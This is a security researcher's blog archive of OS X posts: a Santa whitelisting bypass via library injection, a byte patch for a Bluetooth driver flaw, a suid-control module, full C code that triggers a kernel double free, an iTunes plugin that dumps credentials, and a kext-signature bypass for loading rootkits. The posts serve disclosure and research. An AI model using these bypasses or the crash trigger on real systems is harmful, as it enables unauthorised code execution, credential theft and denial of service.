Tag Archives: vulnerability

How to bypass Google’s Santa LOCKDOWN mode

Santa is a binary whitelisting/blacklisting system made by Google’s Macintosh Operations Team. While I refer to it as Google’s Santa it is not an official Google product. It is based on a kernel extension and userland components to control the execution of binaries in OS X systems.
It features two interesting modes of execution, monitor and lockdown. The monitor mode is a blacklisting system, where all binaries except those blacklisted can run. The lockdown mode is a whitelisting system, where only the whitelisted binaries can run and everything else will be blocked. This is the mode we want to attack and bypass since it’s the most interesting one from an attacker’s perspective.

The system works by having the kernel extension to notify the userland daemon about every new process that is executed in the system. The kernel extension retrieves this information using the Kernel Authorization (kauth) feature available since OS X 10.4. Essentially a callback is installed and the Santa driver will be notified every time a process is executed. This means that exec() and variants will result in a notification to the driver that will then decide to send the event to userland or not.

The userland component has an associated database that can whitelist or blacklist binaries based on path, certificate, and hashes (I think I’m not wrong on this). The code signature feature is interesting because it allows you to whitelist or blacklist an entire publisher. For example a company could easily restrict all the software that is allowed to run in their systems based on their code signing certificate. By default the lockdown mode install will whitelist Apple’s and Google’s certificates, else the system would enter a deadlock. Assuming we are not tampering with Santa’s binaries and attacking its implementation (if we can run kernel exploit code we can easily disable it) can we bypass the lockdown mode if we want to run our code that is not allowed to run?

Yes we can, and it’s very easy to do it 🙂

What Santa essentially controls and restricts is exec and variants. But that’s not the only possible way to run arbitrary code. There is the obvious way of exploiting something and running our shellcode/ROP payload, and there are also dynamic libraries. Because Santa only controls exec we can run whatever code we want via a dynamic library injected using DYLD_INSERT_LIBRARIES without tampering with any Santa binary. We can go further and instead of putting all our code inside a dynamic library we can use it to run regular binaries that are not authorized to in lockdown mode.

We simply need to piggyback on any Apple signed binary (remember the system deadlock problem) with DYLD_INSERT_LIBRARIES to inject our library. For example any command line utility such as /bin/ls will do the job.
How can we execute other binaries using an injected dynamic library? That’s quite easy using some obscure and deprecated dyld functions. For example NSCreateObjectFileImageFromMemory and NSLinkModule would allow us to load an arbitrary executable into memory and execute it (please refer to Mac Hackers Handbook Chapter 9 and MemoryBasedBundle example by Apple).

The workflow is very simple. We inject our library into a whitelisted binary, load the unauthorized binary with those two dyld functions, and start it by calling its entrypoint (main) function. Because this doesn’t trigger a second exec we just bypass Santa controls. The original process will continue execution in the unauthorized binary and that’s it.

The sample code uses the deprecated APIs, which can be removed anytime (although they have been marked deprecated for quite a few OS X major versions). There’s really no need to use those APIs because we can do all their work ourselves. Most of the work is related to linking, so we could implement ourselves a simplified linker or re implement those functions and have dyld do all the dirty work for ourselves. As long we are able to inject a dynamic library we are able to bypass Santa. The DLL hijacking issue recently presented by Patrick Wardle could be used to plant the library and then execute any APT material.

The easiest way to fix this is to remove the possibility of library injection via DYLD_INSERT_LIBRARIES. The next post contains a kernel extension that implements this by injecting a __RESTRICT segment into certain binaries we want to restrict injection. The real problem is that DYLD_INSERT_LIBRARIES feature should not exist by default and should be instead a system setting disabled by default. Stefan’s SyScan presentation is a good read regarding the problems of default features and unfixed stuff in iOS (and OS X).

Proof of concept code:
Hello Santa Bye Santa – https://github.com/gdbinit/hello_santa_bye_santa

Last time I tested this was a month ago or something. Judging by the commits logs I guess the issue isn’t fixed so it should still work. This is technically a zero day ;-). I wanted to present it a SyScan’s WhiskeyCon but then decided not to, and now I’m disclosing it because the next post about rootpipe fix requires its disclosure :-(.

Enjoy,
fG!

P.S.: Defense is hard, in particular when working on a minefield such as OS X 😉

Update: This is a very nice blog post talking about white-list systems expectations. This is exactly what’s missing from most security products. Right after their features they should discuss their assumptions, shortcomings, and expected scenarios. You know, most of the times the expectations between who builds the product and who uses it are quite far away. Yes, it’s probably more wishful thinking than anything else. Commercial products will never do this, they are too afraid of losing customers ;-).

Patching what Apple doesn’t want to or how to make your “old” OS X versions a bit safer

Today a local privilege escalation vulnerability was disclosed in this blog post. It describes a vulnerability in IOBluetoothFamily kernel extension (IOKit is a never-ending hole of security vulnerabilities…).

Mavericks and most probably all previous versions are vulnerable but not Yosemite.
The reason for this is that Apple silently patched the bug in Yosemite.
This is not a new practice, where Apple patches bugs in the latest and newly released OS X version and doesn’t care about older versions. Mavericks 10.9.5 update was released more or less around Yosemite date and this doesn’t look like a last minute bug found (although I’m going to confirm this). I bet that the bugs disclosed at SyScan 2013 by Stefan Esser still aren’t patched in Mountain Lion.

The blog post authors seem to experience the same “we don’t care attitude”. Their conclusions state:
“We contacted Apple on October 20th, 2014, asking for their intention to back-port the security fix to OS X Mavericks. Unfortunately, we got no reply, so we decided to publicly disclose the details of this vulnerability: Yosemite has now been released since a while and is available for free for Apple customers; thus, we don’t think the public disclosure of this bug could endanger end-users.”

The patch is very simple with only two instructions. With some luck we can patch it ourselves. What we need is a bit of unused space for installing the patch instructions. The mach-o header is usually a good place in userland but in kernel extensions you get a no execute (NX) kernel panic. They are also not wired memory so it’s not a good place to install a patch. We are left with alignment space.
If you search there are quite a few places with 15 alignment bytes (tip: load the driver into IDA, do a text search for align or a byte search for 90 90 90). That’s good enough for our patching, and we will need two of those islands since my proposed patch is 19 bytes long.

The two patch instructions are:
test ecx,ecx
js location

To install the patch we need to replace the first original instruction with a jump to the first island. Then we restore the original instruction and add the new patch instructions. We need to use a second island because the first doesn’t have enough space for this.
The new code should be something like this:
original_address:
jmp first_island
nop
remaining original_instructions
(…)
first_island:
jge location (original instruction)
test ecx,ecx (patch instruction)
jmp second_island
second_island:
js location (patch instruction)
jmp next_original_instruction

For Mavericks 10.9.5 you want to patch the following file /System/Library/Extensions/IOBluetoothFamily.kext/Contents/MacOS/IOBluetoothFamily.

Use the following file offsets and bytes:
Original instructions:
0x2855C: E9 B0 F7 FF FF 90
First island:
0x27D11: 0F 8D 43 0B 00 00
0x27D17: 85 C9
0x27D19: E9 23 2E 00 00
Second island:
0x2AB41: 0F 88 13 DD FF FF
0x2AB47: E9 16 DA FF FF

Save file, copy back to the original location, touch /System/Library/Extensions and reboot :-). Most probably this patch can be improved and reduced in size using smaller jump offsets if nearer islands are available. I didn’t bother to check.

Now go write to Apple and ask them to issue a proper patch. This total crap security policy must come to an end. Just in case you are wondering if this is an isolated case, check this Google Zero blog post. Two bugs that remain unpatched on OS X ;-).

Oh, this will break the code signature but in Mavericks that’s just a warning and not a fatal error. You can resign with a developer kext certificate if you have one.

Have fun,
fG!

P.S.: Another fine example of this crap security policy is that Apple fixed a few integer overflows in C++ code of libkern in Yosemite but didn’t bother to backport to Mavericks 10.9.5.  This is just insane…

Can I SUID: a TrustedBSD policy module to control suid binaries execution

Let me present you another TrustedBSD policy module, this time to control execution of suid enabled binaries.
The idea to create this started with nemo’s exploitation of bash’s shellshock bug and VMWare  Fusion. It was an easy local privilege escalation because there are many Fusion suid enabled binaries. This got me thinking that I want to know when this kind of binaries are executed and if possible control access to them. For the first part you don’t really need this module because the audit features available in OS X can give you this information. I’m more interested in having decision power over what is executed. Or it’s just another nice example of how TrustedBSD is so interesting and powerful and why it’s annoying that Apple is closing KPI access to it (latest SDK warnings say it was never meant to be a KPI).

There are two parts to this. The first is the kernel driver that detects execution, controls access, and notifies userland. The second is a small userland application that receives the kernel notifications, asks the user for a decision, and sends back the answer to the kernel.
The execution is blocked until a decision is made or a timeout is reached (default is 5 seconds, you probably want to increase this value).

To avoid any deadlocks all binaries before userland application is connected are authorized. When the userland finally connects it receives a list (displayed as user notifications) of all the suid binaries that executed during the boot process (from my tests this is zero in Mavericks).

Because of the changing nature of TrustedBSD started in Mavericks, this code only works with Mavericks as it is. If you want to make it work in Mountain Lion or Yosemite, you need to change the hook prototype and compile it with the correspondent SDK.

The userland application needs some work due to my crap Cocoa skills :-). The kernel extension has a few points that need a decision (what to do in error cases mostly), authentication of the userland process (it’s not hard to do), and probably more process information.

A friendly tip: The kernel control interface is used for userland/kernel communication. Because the volume of data exchanged is very low it’s ok for this. If you are thinking about using this  interface for high volumes forget about it. It has some weird bug where it starts losing data and not able to keep throughtput (error 55 is what you start to experience).

Source available at Github, https://github.com/gdbinit/can_I_suid.

Have fun,
fG!

The double free mach port bug: The short story of a dead 0day

The iOS 8 security update bulletin has many fixed bugs, one of which is this one “A double free issue existed in the handling of Mach ports. This issue was addressed through improved validation of Mach ports. CVE-2014-4375 : an anonymous researcher”.

Well, I’ve known this bug for a while and it was insanely fun as anti-debugging measure because of its random effects when triggered. For example, sometimes you get an immediate kernel panic, others nothing happens, and most of the time you get weird cpu spikes not attributed to any process, or system lock ups after a while. This used as anti-debugging measure is extremely fun because the attacker will suffer from totally random events and the bug is easy to hide in plain sight.

The following sample code will trigger it:

#include <CoreFoundation/CoreFoundation.h>
#include <mach/host_priv.h>
#include <mach/mach.h>
#include <mach/host_special_ports.h>

static mach_port_t service;     /* our own service port */

int main(int argc, const char * argv[])
{
    kern_return_t kr = 0;
    /* create the negotiation server service port */
    kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &service);
    if (kr != KERN_SUCCESS)
    {
        printf("Failed to allocate port: %s\n", mach_error_string(kr));
        exit(1);
    }
    /* host_set_special_port requires a send right */
    kr = mach_port_insert_right(mach_task_self(), service, service, MACH_MSG_TYPE_MAKE_SEND);
    if (kr != KERN_SUCCESS)
    {
        printf("Failed to mach_port_insert_right: %s\n", mach_error_string(kr));
        exit(1);
    }
    mach_port_t host_port;
    /* get host port so we can do the host_set_special_port */
    if ((host_port = mach_host_self()) == MACH_PORT_NULL)
    {
        printf ("mach_host_self() returned MACH_PORT_NULL\n");
        exit(1);
    }
    kr = host_set_special_port (host_port, // invalid port being passed
                                HOST_UNFREED_PORT,
                                service);
    if (kr != KERN_SUCCESS)
    {
        printf ("Can't check in with server\n");
        /* we should crash here */
        exit(1);
    }
    CFShow(CFSTR("Hello, World!\n"));
    return 0;
}

Start Activity Monitor and load the binary once or twice in a Terminal window. You should immediately observe the effects. In iOS it results in immediate kernel panic and reboot.

This bug is fixed on Yosemite DP4 or later, and iOS 8. All other versions are still vulnerable. For example Mavericks 10.9.5 was released just after iOS 8 and the bug is still unfixed. A common practice from Apple if we take in account that bugs disclosed at SyScan 2013 are still unfixed in Mountain Lion. The Apple motto seems to be: Use the latest version or be vulnerable (aka fuck off!).
The impact attributed by Apple to this one: “Impact: A local user may be able to cause an unexpected system termination or arbitrary code execution in the kernel”. Take your own conclusions ;-).

Have fun,
fG!

AppleDoesntGiveAFuckAboutSecurity iTunes Evil Plugin Proof of Concept

Oh this one has been into my head for so long that I finally decided to try and create the code for it. So let’s go!

What’s the background story?
In August *2011* I reported to Apple a security issue with iTunes. What happens is that iTunes plugins are loaded into iTunes process space so they have full control of iTunes. Evil plugins can do all kinds of things such as stealing iTunes passwords and credit card information, or patching some annoying features as I did with Disable m3u plugin.
This is part of Apple’s response:
After examining your report, we feel that this is an area for security hardening that we will consider for future updates.“.

Well, almost three years later and a few iTunes revisions nothing was done regarding this. The plugin folder is writable by current logged in user so a trojan dropper can easily load a malicious plugin. Or it can be used as communication channel for a RAT (Hacking Team, are you reading this?). And so on…

AppleDoesntGiveAFuckAboutSecurity is a quick PoC that installs a breakpoint on SSLWrite function and dumps the clear text buffer that is passed to it before being sent over SSL/TLS secur channel (veryyyy old trick, nothing new). A mini-debugger (exception handler) is installed to handle the breakpoint and dump the information. Of course this could have been done with function hooking but this code is more fun, even if it’s a very quick hack with hardcoded addresses. It is set to be used with latest iTunes available in Mavericks 10.9.1. If you want to play with other versions, just run iTunes under gdb and breakpoint on *SSLWrite. Give a look at the code, it’s pretty small and easy to understand.
Continue reading

Breaking OS X signed kernel extensions with a NOP

For some reason Apple wants to change external kernel extensions location from /System/Library/Extensions to /Library/Extensions and introduced in Mavericks a code signing requirement for all extensions and/or drivers located in that folder. Extensions will not be loaded if not signed (those located in the “old” folder and not signed will only generate a warning [check my SyScan360 slides]). The signing certificates require a special configuration and to obtain them you need to justify it. You know, there are people out there coding rootkits and other nasty stuff ;).

A couple of days ago while trolling around in IRC someone complained about this and I decided to give it a quick try (I sort of already knew it would work this way but never really tried it). Kextd is the daemon responsible for processing requests to load kernel extensions. The message you get when trying to load a unsigned kernel extension is: “ERROR: invalid signature for %@, will not load”. Load IDA, disassemble and search for this string (the alternative is to go to opensource.apple.com and download 10.9 kext_tools package – my brain defaults to IDA!). What you can see is this code for one of the two hits:

    OSStatus  sigResult = checkKextSignature(theKext, true);
    if ( sigResult != 0 ) {
        if ( isInLibraryExtensionsFolder(theKext) ||
            sigResult == CSSMERR_TP_CERT_REVOKED ) {
            /* Do not load if kext has invalid signature and comes from
             *  /Library/Extensions/
             */
            CFStringRef         myBundleID;          // do not release
 
            myBundleID = OSKextGetIdentifier(theKext);
            result = kOSKextReturnNotLoadable; // see 13024670
            OSKextLogCFString(NULL,
                              kOSKextLogErrorLevel |
                              kOSKextLogLoadFlag | kOSKextLogIPCFlag,
                              CFSTR("ERROR: invalid signature for %@, will not load"),
                              myBundleID ? myBundleID : CFSTR("Unknown"));
        }

Nothing more than a simple call to the check signature function and then a simple test to see if it was valid or not. This is pretty common in (lame) software protection schemes. One of the usual ways to bypass it is to NOP the test. Or you can just patch the checkKextSignature and return always TRUE. Many different ways to solve it.

patchmebabyNow to the interesting part. I have no idea what was Apple thinking (sometimes they do not seem to think!) by implementing the code signature checks like this. It is very hard (to impossible) to protect kextd against something running at the same privilege level (kextload or something else require root to load kernel extensions). To launch the rootkit one just simply needs a binary that runtime patches kextd (task_for_pid, mach_vm_protect, mach_vm_write) and then loads the rootkit . Game over!
Of course it is easy to argue that if attacker got root everything is possible and the game is lost. Maybe! But making things like this is just security theatre and nothing else. It creates a useless artificial barrier to load unsigned code into the kernel and a false sense of security. This kind of checks needs to be done in the kernel, at a different privilege level. True that a rootkit can just patch files at disk and bypass a kernel protection but a non persistent rootkit just needs to patch kextd, get loaded and do its work. This is just (more?) careless and sloppy work from Apple.

Have fun,
fG!